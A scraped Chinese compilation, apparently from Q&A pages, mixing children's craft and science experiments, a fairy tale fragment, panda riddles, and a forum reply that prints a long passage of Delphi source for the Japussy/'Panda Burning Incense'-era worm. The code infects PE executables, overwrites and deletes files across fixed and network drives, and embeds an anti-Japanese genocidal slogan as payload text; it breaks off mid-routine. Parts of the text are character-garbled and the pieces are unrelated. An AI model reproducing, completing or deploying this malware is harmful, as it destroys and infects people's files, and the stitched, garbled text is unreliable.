手工制作 科学类 要求加精华

绒线娃娃

五颜六色的绒线娃娃美丽可爱，因为是你的巧手和爱心给了她们美丽的形象，她们也会是你最好的朋友。

1.材料和工具：各色绒线、棉花或弹力絮、绢花花瓣、各色即时贴、纽扣、绸带、双面胶、剪刀。

2.取皇�尴撸�硭澈笤谥屑湓�桓�撸�飧�咄�币彩切�蚁摺?BR 3.绒线束在扎紧处对折，两边慢慢展开，把一小团棉花包在里面。

4.确认棉花完全包在绒线里面后，在下部用丝带扎紧（用双面胶粘丝带），娃娃的脑袋和身体就分出来了。

5.取一小段绒线，两端扎紧，这是娃娃的手。

6.把绒线娃娃的身体从中间分开，放进娃娃的手。

7.将身体再度合上后，用丝带扎紧手的下方。

8.用绒线编一根小辫子，当然，你喜欢她是什么样的发型和颜色，她就可以是什么样子的。

9.用娃娃头顶中间的悬挂线把辫子扎好。

10.把绢花花瓣和一粒纽扣依次穿过悬挂线，覆在娃娃头顶上，那可是她的帽子哦。

11.在即时贴上剪出眼睛和嘴巴，粘在娃娃的脸上。

12.这就是做好的绒线娃娃，她们可挂在你的床头或台灯、书包上天天陪伴你。

测测今天下了多少雨

又下雨了，望着窗外的雨景，你是否突然很想知道有多少雨水落在了农田、小河、街道上？平时，收听天气预报时，常常会听到：“据某气象站测量，今天的降雨量为多少毫米……那么，什么是降雨量？降雨量是如何测得的呢？

从天空降落到地面上的雨水，未经蒸发、渗透、流失而在水平面上积聚的水层深度，我们称为降雨量（以毫米为单位），它可直观地表示降雨的多少。目前，气象台（站）测定降雨量的常用仪器是雨量筒和量杯。雨量筒的直径一般为20厘米，内装一个漏斗和一个瓶子。量杯的直径为4厘米，将雨量筒中的雨水倒在量杯中，根据杯上的刻度就可知道当天的降雨量了。

如果你手边没有雨量筒，那也不用担心，利用一些常见的器皿，你完全可以自制一个，效果也相当不错。取一个口径为20厘米的瓷碗，在其底部钻一个比玉米粒稍大的小洞，然后将瓷碗放在一个无盖的罐子上（罐内有一玻璃瓶，瓶口与碗底的小洞相接）。这样，简易雨量筒就做好了。简易雨量筒做好后，便可将它放在离地70厘米的高处承接雨水。雨停后，用秤称出瓶中的水重，30克水相当于1毫米的降雨量。

从天而降的雨水，是陆地上的水的一个很重要来源，如未受污染的话，它的水质几乎可与蒸馏水相媲美。现在有些地方已安装了雨水收集器，收集起来的雨水稍加处理后，即可用来浇灌绿地、清洗车辆、冲刷马路等。对如何充分利用“天落水”，你是否也有自己的高招呢？

会“吞吐”火焰的喇叭

取一只易拉罐，把开罐的一端全部剪掉，在离罐底约2cm处开一个小孔。再取一张硬质纸（或马粪纸）卷成喇叭形，将喇叭的吹气口塞进易拉罐的小孔内，相接处用百得胶粘牢固定，不能漏气，因为这关系到实验的成败（易拉罐上的小孔边用刀刮几下，使其表面粗糙，容易胶牢）。BRBR 实验（一）：点燃蜡烛，将火焰靠近喇叭口，把易拉罐快速按进盛有水的容器中，可看到蜡烛的火焰向外偏，好像火焰从喇叭里吐出来似的（图一）。BRBR 实验（二）：将易拉罐慢慢按入水中至一定深度后，迅速将易拉罐向上提拉，会看到喇叭把蜡烛的火焰吞进去的榫埃ㄍ二）?BRBR 其物理原理是：一定量的气体，在温度不变的条件下，其压强与体积成反比。快速向下按时，罐内气体被压缩，压强增大，大于外界气压时，罐内的气体会从喇叭里吹出，火焰向外偏；反之快速向上提拉，内气压小于大气压，蜡烛火焰被吞进喇叭。

七星瓢虫

原材料：装中成药的球形药盒；红、黑两色的水彩笔或颜料均可；大头针。

1．将药盒洗净，去掉药味，晾干，取半个待用；

2．用红色的水彩笔或红色颜料、涂料将半个药盒涂匀；

3．将涂好颜色的半个药盒放在风扇下吹干。用黑色水彩笔或黑色颜料在红的底色上画点，并在一处的边缘画一个半圆形作为头部（具体画法见图），以这个半圆为起点，在药盒的正中间画一条稍粗一点的黑线；

4．将2枚大头针插在头部两侧，作为瓢虫的头须。这样，一只可爱的七星瓢虫就做好了。

能向上滚动的双锥体

1.材料：剪成圆形的厚纸（直径以15厘米以内为宜）、剪刀、胶水、一双筷子或两根长一些的细棍子、一本大书、一本小书。

2.将圆形厚纸对半剪开，以圆心为顶点卷成两个圆锥体，用胶水粘牢。

3.将两个圆锥体底部相接粘在一起成为一个双锥体。

4.把一本大书和一本小书相隔一定距离背朝上放在桌上，在书上架两根筷子或细棍子，让较高的一头比较低的一头略为撇开一些。这时你把双锥体放在筷子靠近小书的一端，你会惊奇地发现它会沿着轨道向上坡滚动！

这其中的原理是：

双锥体的重心在两端的连线和中间圆心的交点上，由于筷子是撇开放的，如果你仔细观察双锥体的两头，它们其实是向下滚动的，表面上看来双锥体的终点比起点高，但它的重心始终在往下走。记住，除非有外力作用，重力会一直让物体向地心运动，可不要被迷惑哦。

称空气的天平

制作材料：纸、胶水、蜡烛、细线．

制作步骤：

1.先裁好2张长34厘米，宽15厘米的纸条，每张都照图分成五部分，其中右边窄的部分2厘米宽，其余四等分。

2.按照分线将纸条折成一个方桶形，2厘米宽的窄部作为粘合条。

4.将方桶形上部两边的中端按进，粘合，中间再粘进一根20厘米长的细线，下段按折线仍旧撑成方桶形。这就是天平的称袋。

5.裁一条25厘米长的纸条，卷成细棍，这是天平的称杆。

6.将两个称袋口向下系在秤秆的两边，称杆的中间再系上细线，仔细调整好平衡。

7.把燃着的蜡烛放在一个称袋的下面（当心不要把称袋烧着），称袋立刻开始升高。而另一个称袋则开始下降。这说明暖空气要比冷空气轻！为什么呢？因为热空气与冷空气相比，它的相对密度较小，所以就比冷空气轻，热气球就是根据这样的原理制造出来的。

会跑的“小猪”

课余时间，自己动手做个“会跑的小猪”，可有意思了。

材料L：硬纸板、黄泥、橡皮筋、线绳、颜色、浆糊、剪刀。

方法：①照图1样，在硬纸板上画好图形，剪下，在“0”处打孔，在虚线处折叠。

②用黄泥（最好是橡皮泥）做个“泥轮”。

③在“泥轮”的左右两个孔内穿插入一根单股橡皮筋，并在两边打结固定橡上筋。

④在“泥轮”上固定一条线绳，把线绳穿绕在轮子的中间若干圈，把线头从中间的孔内穿出。

玩时，先从上边提起线绳，此时，猪的重量会把轮拉得向后旋转，而“泥轮”两侧的橡皮筋则反向旋紧；然后，把硬纸板做的小猪放到桌子上，并放下线绳。借助橡皮筋的动力，小轮会向前旋转，“小猪”则自动地向前跑步了。

自动旋转的纸

准备一小张长方形的薄纸片（3厘米长、1厘米宽），一根长缝衣针。

将纸按照它的横直两条中线各对折一次。再把纸展开，将两条折痕的交点放到竖着的针尖上（针先插在软木上固定，针尖朝上），让针尖恰好顶着这一点，并使纸片在针尖上保持平衡。将两手掌相互摩擦，提高手掌心的温度，然后将手掌慢慢放到纸片旁（如下图所示）。

注意，手要轻轻移过去，不要让手移动时的风将纸片吹落，此时，可见纸片旋转起来。起初较慢，渐渐快起来。如果将手悄悄拿开，纸片立刻停止旋转；把手移近，纸片又旋转起来。

是什么神秘的力量使纸片旋转的呢？

原来，由于人手各部分的温度不同，手指端的温度总比掌心低；因此，接近掌心的地方，就会造成比较强的上升气流，它对纸片所加的力也比手指端大，该力能使纸片旋转。

海绵剪塑小鸡

利用海绵的零星角料，根据它的形状，结合动物的外型性，开动脑筋，采用剪、贴、染的方法，就能创作出一件小巧玲珑的小动物作品。下面以制作小雏鸡为例：

一、制作材料

海绵一块，水彩颜料，小珠子两颗，百得胶。

二、制作方法

1.把海绵剪割成长方体，在长方体上，画出小鸡的身、头、脚（脚可以大一点）、嘴大体轮廓。（图一）。

2.看准所画廓（留有一定余地），大胆地剪出它的侧面形状（图二）。

3.在小鸡的前后方向，修剪出的头、身、脚形态，并剪出鸡翅（剪得不要太深）。在修剪时，要注意保持鸡能立直（图三）

4.从整体形态出发，对局部进行细致的剪修，清除大的剪刀口。

5.根据自己的喜爱，可整体染色或局部上色。待干后，粘贴上装饰珠子作为眼睛（图四）。如果有几块不同形状的海绵，可依照上面的方法，设计几种不同姿态的雏鸡。一群活泼可爱的小鸡会令你爱不释手

神奇的纸桥

1．实验材料：两个杯子、一些卡片纸、一个重物（比如肥皂）、裁纸刀、固体胶。

2．将两个杯子分开放在两边，上面平放一张卡片纸，这是一座简易纸桥。

3．试一试，看它能承受多大的重量？结果，刚放上重物就垮了。

4．将这张纸以1厘米为间隔折叠起来成瓦楞形，新的桥面完成了。

5．重新搭好纸桥，看，这回重物放上去稳稳当当了。

6．将卡片纸裁成许多细纸条，分别卷成圆柱体。

7．把这些圆柱体并排粘在一起，你看到的是另一种桥面。

8．这样的纸桥也非常坚固，有很大的承重能力。

实验原理：一张平面的纸很薄，小受力厚度导致小承受力。而把纸折叠成瓦楞形或卷成圆柱体后，受力厚度大大增加，承受力也就大得多。在桥梁和建筑等受力构造中，经常用到这样的结构，又轻巧又牢固，也比实心的构造节约了很多材料。想一想，还有什么结构，也能达到这样的效果？

鸡蛋喷气船

1．实验材料：鸡蛋、卡纸、粗铁丝、蜡烛头、吸管、双面胶、剪刀、钳子。

2．裁一张长25厘米，宽15厘米的卡纸，照图样画上折叠线，它将被做成船身。

3．按折叠线将船身折起。

4．在船的两头多出的卡纸上粘双面胶，向内折进，粘好。

5．剪一个船舵�

6．在船尾中部剪一条竖缝，插上船舵，在船的中部穿两根粗铁丝，间隔3厘米，铁丝中部略弯成弧形。

7．在鸡蛋的一头扎一个小洞，另一头并排扎两个小洞，从一个小洞口往鸡蛋里面吹气，让鸡蛋里面的东西从另一头流出。

8．将吸管剪成4厘米长的两根（喷气管），插在鸡蛋一头的两个洞内，深度为1厘米左右，然后用蜡封好。

9．从鸡蛋另一头灌入水（注意水位应在喷气管以下）后，用双面胶将口子封住，这就是一个小锅炉。

10．现在再做炉子！在船底（2根铁丝中间）放上蜡烛头，并点燃，蜡烛下面可以垫一个瓶盖。

11．把鸡蛋锅炉放在粗铁丝上，喷气管水平向后。过一会儿，水便沸腾了，一股蒸气从喷气管喷出来，小船在水中前进了！要是把它的舵偏转一定角度，小船就会在水里起劲地兜圈子。

实验原理：水沸腾后不断产生的蒸气只能从喷气管向后排出，于是产生一种向后作用的力，而这种力对于小船有一种向前的反作用力，于是小船就向前开了。这符合牛顿第三定律，每一个作用力，都有一个相等的反作用力。

乒乓娃娃

1.让我们再来做一个可爱的娃娃，她也是用我们身边的那些废旧小物品制成的，只要想像力加上你的小巧手，乒乓娃娃就是你的最爱。

材料和工具：浴球、各色卡纸、乒乓球、绒线、绒球、绒条、可以做眼睛的细小物品、双面胶、剪刀。

2.在乒乓球中间剪一个直径1.5厘米的洞。

3.用卡纸剪一块上端宽5.5厘米，下端宽10厘米，长11厘米的梯形，在一条斜边上贴双面胶，和另一条斜边粘合，形成柱体，最后用剪刀把上下端剪平，这就是娃娃的身体。

4.在浴球上剪一小片尼龙网，包在柱体上后用双面胶粘住。

5.把柱体上端插入乒乓球上的洞里，娃娃的脑袋就和身体连在一起了。

6.剪一条10厘米长的绒条，用双面胶粘在身体的背后，再弯过来做成娃娃的手。

7.用绒线编一条小辫子。

8.用双面胶把辫子粘在乒乓娃娃的脑袋上，在柱体底端粘上两个绒球做脚，在乒乓脸上粘上眼睛和嘴巴。

9.剪一条相当于乒乓球周长的卡纸条，用双面胶粘在乒乓娃娃的脑袋上，作为帽子，并用手指把上端捏扁。

10.在帽子的中部和顶端分别粘一条和一段双面胶，把彩色绒球一个个粘上去，作为帽子的饰物，如果你愿意的话，还可以用绒布给她剪一个小领结粘在脖子上。你看，乒乓娃娃在对你笑呢。

贺岁小挂件

过年了，同学们大概都收到很多压岁钱吧，你有没有想过装压岁钱的贺岁包也能变成一件美丽喜庆的小挂件呢？

1.材料和工具：贺岁包12个、中国结1个、丝线（细绳）一根、胶带纸，双面胶。

2.先将每一个贺岁包对折，然后，再将四角折起至中间折痕处。

3.在每个折角底部贴上双面胶。

4.圈起丝线并打个结，胶带纸的一头穿过丝线，并粘住丝线，另一头粘在一个贺岁包的里侧（紧靠折痕处）。这样，悬挂丝线就固定好了，注意不要露出胶带纸。

5.把4个粘有丝线的贺岁包，折角对折角粘在一起，这是挂件的顶部。

6.另取一个折好的贺岁包，像粘悬挂丝线一样把中国结粘在里侧。再把包括它在内的4个贺岁包，折角对折角粘在一起，这是挂件的底部。

7.现在挂件的顶部和底部各还有8个折角没有粘，那么就把剩下的四个贺岁包也折角对折角粘在它们的中间吧。

8.底部和顶部通过四个贺岁包连接后，挂件就完成了，好看吗？

会吼叫的小盒子

一、实验材料：一个纸（木或铁）盒、一支铅笔、一段绳子、一块松香、彩笔、胶水、白纸。

二、把绳子拴在铅笔的中间。

三、用松香擦绳子，就像擦乐器的弓弦一样，使它变涩。

四、在盒子的一边开一鲂】祝���哟┕�】祝�Ρ柿粼诤凶拥睦锩妗?BR 五、在盒子外面包上白纸，用胶水粘好。

六、在盒子上画上狮子或者其他拥有大嗓门的家伙，尾部要刚好和绳子的出口对齐。

七、用一只手握住盒子，另一只手的食指和拇指去捋绳子，呀，你听到了狮子的吼叫声……实验原理：

绳子的摩擦声传给盒子后，其四壁都会产生震动并发出响声。用不同形状，不同材料的盒子来做这个实验，发出的声音都会不一样，有时响声可高得令人惊骇。弦乐器的发声就是利用了这个原理，例如小提琴、大提琴等。

橡皮筋古筝

1.材料和工具：空木盒或硬纸盒一个、三合板或结实些的硬纸板一块、桷皮筋若干、剪刀。

2.把三合板或硬纸板剪成直角三角形，斜边上每隔1至2厘米剪一个小缺口。

3.把剪好的直角三角形粘在空木盒中间，把橡皮筋拉长套在盒子和斜边缺口上。

4.拨动橡皮筋，试试看，你能否弹奏出1-2-3-4-5-6-7……调整橡皮筋的松紧即可调整音阶。

吉祥挂件

新学期开始了，同学们又快乐地相聚在一起。在课余时间里，试着做几个小挂件，留给自己，或送给老师和同学，寄托一份真诚的心愿。

1.材料和工具：金色纸（也可用其他彩色纸代替）、中国结、KT吹塑板（也可用彩色卡纸代替）、细木条、细线、双面胶、裁纸刀、剪刀。

潜望镜

同学们，你若能拥有一个潜望镜，就能很清楚地看到远处的东西，比如被高个子挡住还可以像潜水艇能在水下观察海面上的情形一样。很有趣是吧，现在就让我们来做一个。

1.先准备的制作材料：厚卡纸、两面10×7.5厘米的小镜子、剪刀、双面胶、三角尺、小刀、铅笔。

2.将厚卡红裁成31×40厘米大小，按图所示在卡纸上面画线，四条平行线是隔7.5厘米，左边打“×”的正方形为7.5×7.5厘米大小，右下角的正方形也是同样大小，中间画一个4厘米直径的圆。

3.将打“×”的正方形和右下角的圆形剪去，将四条平行线分别向内折，在最边上1厘米的窄边上贴上双面胶，将卡纸粘成长柱体，刚才剪去的正方形和圆形成了两个方向相反的小窗口。

4.取出小镜子里的玻璃，在四边贴上双面胶。

5.将两块玻璃分别和不窗口成45度角粘在长柱体内部，注意粘好后两块玻璃的位置应该是平行的。注意，窗口和柱体内部间不应被堵住。

6.将剪下来的正方形用双面胶粘在长柱体的顶部，小潜望镜就做好了，你能用它看到很多意想不到的东西。实验原理，由于光线两次被镜面反射，同时在潜望镜镜身（长柱体）中得到传输，所以你的潜望镜身做得有多长，你的视线就能延伸多长。

用“隐形”墨水写字

在冒险小说中，你时常可以读到用“隐形”墨水写的秘密信件或藏宝图……书中的主人公如何历经艰险去揭密。今天我们来学习如何写这种绝密信件……

1.普通的白纸、钢笔、柠檬。

2.将一个柠檬切成两半，这就是你的“隐形”墨水。

3.把钢笔用力按进柠檬果肉里，使笔尖侵透柠檬汁。但不要太多，否则会滴下来。

4.用这种特殊墨水在纸上写你的“绝密信”。写字时要用些力，让笔画粗些。用粗笔尖写出的字效果最好。

5.柠檬汁很快干了，你写的字就什么也看不见了。

6.用打火机慢慢烘烤写过字的纸。一定要小心，不要把纸烧着，否则你写的就永远不见了！在加热过程中，看不见的字迹逐渐变成棕色字显现出来，这封信就可以读了！

小电话

1.实验材料和工具：纸杯（或空罐头盒）2只、一段长绳、彩色纸、剪刀、双面胶、能够当眼睛的小圆珠。

2.小电话的两个话筒都是可爱的卡通小伙伴，我们先来让它们活起来。首先用绿色纸剪一只小青蛙的“零部件”———前肢、后腿、眼睛等。

3.把这些零部件粘到一只纸杯上使其成为一只小青蛙。

4.你还可以用这个办法做一只小狗或其它什么你喜欢的小动物，粘贴到另一只纸杯上。

5.在两个纸杯（现在已变成了卡通话筒）的杯底正中央各打一个小孔。

6.将一根长绳（长度需在10米以上）的两端分别穿入杯底的小孔中，然后打个大结。

7.小电话做成后，把小电话的一个话筒放到耳边，然后请你的朋友拿着另一个话筒，站到距你10米远的地方（如果绳子的长度在10米以上的，那就要站到距你更远一些的地方。即：绳子的长度，就是两者之间的间距），对着话筒唱歌或说话。绳子要拉紧，而且不能接触到别的东西。

8.你和你的朋友虽然相隔10米远，但你也能清楚地听到他的声音。实验原理：你的朋友唱歌、说话的声音，会使纸杯（话筒）的杯底振动，振动沿绳子传导到你耳边的纸杯，又引起振动，接着又引起旁边空气的振动，于是，你就能清楚地听到你朋友的声音。（这比你们相隔同样距离用同样音量直接说话要清楚得多，因为声音在固体中传播的效果要好于在空气中传播。）

听话和不听话的鸡蛋

一、实验材料：几个鸡蛋、一些沙子、蜡烛、记号笔或水彩笔、彩色纸。

二、取两个鸡蛋，分别在小的一头戳个洞，倒空里面的蛋青蛋黄并将空蛋壳晒干。

三、在空蛋壳的里面分别装上约占总体积1/4～1/3的沙子。

四、拿出其中一个装好沙子的蛋壳，你会为这个鸡蛋的听话而惊奇。你把这个鸡蛋摆成什么姿势它就保持什么姿势，看，它可以像个杂技演员一样稳稳地站在小药瓶口上。你还可以让它在各种斜面上保持平衡，但表面不能太滑。如果把上面的口子封住，它还能小头朝下倒立。但是为了让它保持住你摆好的姿势，你最好把它摆好后轻轻敲几下，让里面的沙子处在水平状态。

五、拿起另一个装好沙子的蛋壳，让其直立并轻轻敲几下让沙子处在水平状态，点燃蜡烛让蜡油滴在沙子上以固定沙子的位置。

六、这就做成了一个不听话的鸡蛋。不管你把它摆成什么姿势，它总要回到自己原来的姿势。如果你用彩色纸给它做顶小帽子，再画上一张可爱的脸谱，它就成了个有趣的不倒翁。实验原理：鸡蛋原来的重心在中间，你就很难让它“听话”或“不听话”。装上沙子后，鸡蛋的重心就在沙子上了。在沙子没有被固定前，随着鸡蛋姿势的改变，沙子即鸡蛋的重心始终位于该姿势的鸡蛋的下部，鸡蛋下重上轻即保持了该姿势的平衡。而当沙子被固定于直立状态的鸡蛋的下部，同样由于重心的原理使其成了不倒翁。

蜡烛上的蛇形风车

一、制作材料：大头针、空胶卷盒、蜡烛、细塑料吸管、铅笔、卡纸、剪刀。

二、在卡纸上画螺旋线，末端画成一个蛇的头形。

三、根据图形，沿线剪开，须在中间戳一个小孔，要刚好能穿过一根细塑料吸管，这就是蛇形风车。

四、现在开始做脚架。首先在铅笔的橡皮头上插一个大头针，然后剪一小截细塑料吸管并把一头封死，套在大头针上成为套帽。

五、在空胶卷盒的顶部开一个圆孔，垂直插入铅笔。

六、蛇形风车中间的小孔穿过套帽，风车就完成了。

七、在风车的下方点燃蜡烛，你会看到这条蛇开始转动。如果把风车放到火炉或暖气上方任何地方，也有同样的效果。为什么会出现这样的现象呢？因为暖空气比冷空气轻，上升暖空气可推动风车转动。日常生活中，房间里，上升的暖空气一直上升，沿天花板流到窗口，在窗口处受到冷却又下降到地板上，遇热又上升……滑翔机没有发动机，但时常有一种叫做热障（上升暖气流）的温暖空气上升，它可使滑翔机上升。

面具的制作方法

有谁知道一部动画。内容记得不是很清楚。有四五年了吧。就是一只熊猫，头后面扎了一个辫子，辫子上的那个

金牌熊猫

天真活泼的熊猫少年，爱管闲事，热心助人，看到有人碰到困难，会立刻冲过去帮忙，有用不完的精力，十分好动。常被同伴视为麻烦制造机，但因天性开朗，毫无心机，大家还是很喜欢和他在一起。如果头上发环松开，会进入暴走的状态，失去理智，并使出恐怖怪力破坏周围的一切。 擅长：全部，尤其是足球。

用水杯,钥匙,熊猫编一个儿童童话故事

一只蝴蝶想要找一个恋人。自然，他想要在群花中找到一位可爱的小恋人。因此他就把她们都看了一遍。

每朵花都是安静地、端庄地坐在梗子上，正如一个姑娘在没有订婚时那样坐着。可是她们的数目非常多，选择很不容易。蝴蝶不愿意招来麻烦，因此就飞到雏菊那儿去。法国人把这种小花叫做“玛加丽特”（注：原文是“Margreth”，这个字是“雏菊”的意思；欧美有许多女子用这个字作为名字。）。他们知道，她能作出预言。她是这样作的：情人们把她的花瓣一起一起地摘下来，每摘一起情人就问一个关于他们恋人的事情：“热情吗？——痛苦吗？——非常爱我吗？只爱一点吗？——完全不爱吗？”以及诸如此类的问题。每个人可以用自己的语言问。蝴蝶也来问了；但是他不摘下花瓣，却吻起每片花瓣来。因为他认为只有善意才能得到最好的回答。

“亲爱的‘玛加丽特’雏菊！”他说，“你是一切花中最聪明的女人。你会作出预言！我请求你告诉我，我应该娶这一位呢，还是娶那一位？我到底会得到哪一位呢？如果我知道的话，就可以直接向她飞去，向她求婚。”

可是“玛加丽特”不回答他。她很生气，因为她还不过是一个少女，而他却已把她称为“女人”；这究竟有一个分别呀。他问了第二次，第三次。当他从她得不到半个字的回答的时候，就不再愿意问了。他飞走了，并且立刻开始他的求婚活动。

这正是初春的时候，番红花和雪形花正在盛开。

“她们非常好看，”蝴蝶说，“简直是一群情窦初开的可爱的小姑娘，但是太不懂世事。”他像所有的年轻小伙子一样，要寻找年纪较大一点的女子。

于是他就飞到秋牡丹那儿去。照他的胃口说来，这些姑娘未免苦味太浓了一点。紫罗兰有点太热情；郁金香太华丽；黄水仙太平民化；菩提树花太小，此外她们的亲戚也太多；苹果树花看起来倒很像玫瑰，但是她们今天开了，明天就谢了——只要风一吹就落下来了。他觉得跟她们结婚是不会长久的。豌豆花最逗人爱：她有红有白，既娴雅，又柔嫩。她是家庭观念很强的妇女，外表既漂亮，在厨房里也很能干。当他正打算向她求婚的时候，看到这花儿的近旁有一个豆荚——豆荚的尖端上挂着一朵枯萎了的花。

“这是谁？”他问。

“这是我的姐姐，”豌豆花说

“乖乖！那么你将来也会像她一样了

熊猫是烧香是用C语言编的？

用delphi，其实没什么难得，只要熟悉了他的语法和函数，任何人都能编写。

PS：编写病毒其实就是编写一个程序，没什么难度，只不过有高有低，这就要看个人的悟性了，跟使用的程序没什么太大分别，像VB/VC/ASM/MSAM/.NET/C++，甚至VF和WORD/EXCEL都可以，更简单的不需要任何工具，单独使用批处理命令或者记事本就可以。

编写危害程度越高的病毒，对作者而言，要求的技术层次和范围越高，像对硬件底层（甚至到芯片级的）、网络底层、协议、软件底层等等，范围十分广阔。

个人而言，这次爆发的熊猫病毒的危害程度而言远远没有当年的CIH病毒来的恐怖、影响的范围大、造成的损失大，就病毒个体而言，也没有CIH编写的巧妙。把他们两者相比有点关公战秦琼的感觉，但就两个病毒的作者水平而言CIH高于熊猫。

PS2:CIH病毒，用ASM编写（汇编语言），损坏主板BIOS数据，1999年在世界范围内爆发，由于当时的技术所限，基本上中了，主板就可以扔了（当年的城里兄弟，还记得开机热插拔CMOS芯片吗？反正当时我是6块，成功率0，失败率100％，还有那些用读写器刷CMOS的JS，挣了多少啊），可以想想损失有多大！“其实分析其源代码，这个病毒编写并不怎么复杂，只不过陈盈豪的“悟性”比较高而已”——这是我当年学习的时候，我们班对班主任的回答，这大概也是“天才”与普通人的分别啊。

大熊猫请你用它做谜底编个谜语

谜题：西边来了一个怪，戴副眼镜好气派，拿着竹笛不去吹，张着嘴吃起来。 （打一动物）

谜底：大熊猫

谜题：黑眼圈，黑耳朵，黑色绒衣，白背心，胖胖乎乎真可爱，叫猫叫熊都不对。 （打一动物）

谜底：大熊猫

谜题：顶着黑眼圈，浑身胖嘟嘟，以前好吃肉，现在爱吃竹。 （打一动物）

谜底：大熊猫

熊猫烧香是用什么编成的?

我有看到过，反正不是c++ vb 编的：

熊猫烧香的病毒源码：

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 –8086 Japussy.exe

}

IconSize = E8; //PE文件主图标的大小–744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = 444444; //感染标记

//垃圾码，以备写入

Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +

‘If a country need to be destroyed, it must be Japan! ‘ +

‘*** W32.Japussy.Worm.A ***’;

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stDCall; external ‘Kernel32.dll’; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size – HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之？

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用，退出

if CompareText(FileName, ‘JAPUSSY.EXE’) = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to 8 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节)，存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize – IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := 444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码，将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ‘:/’;

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录，感染和摧毁文件 }

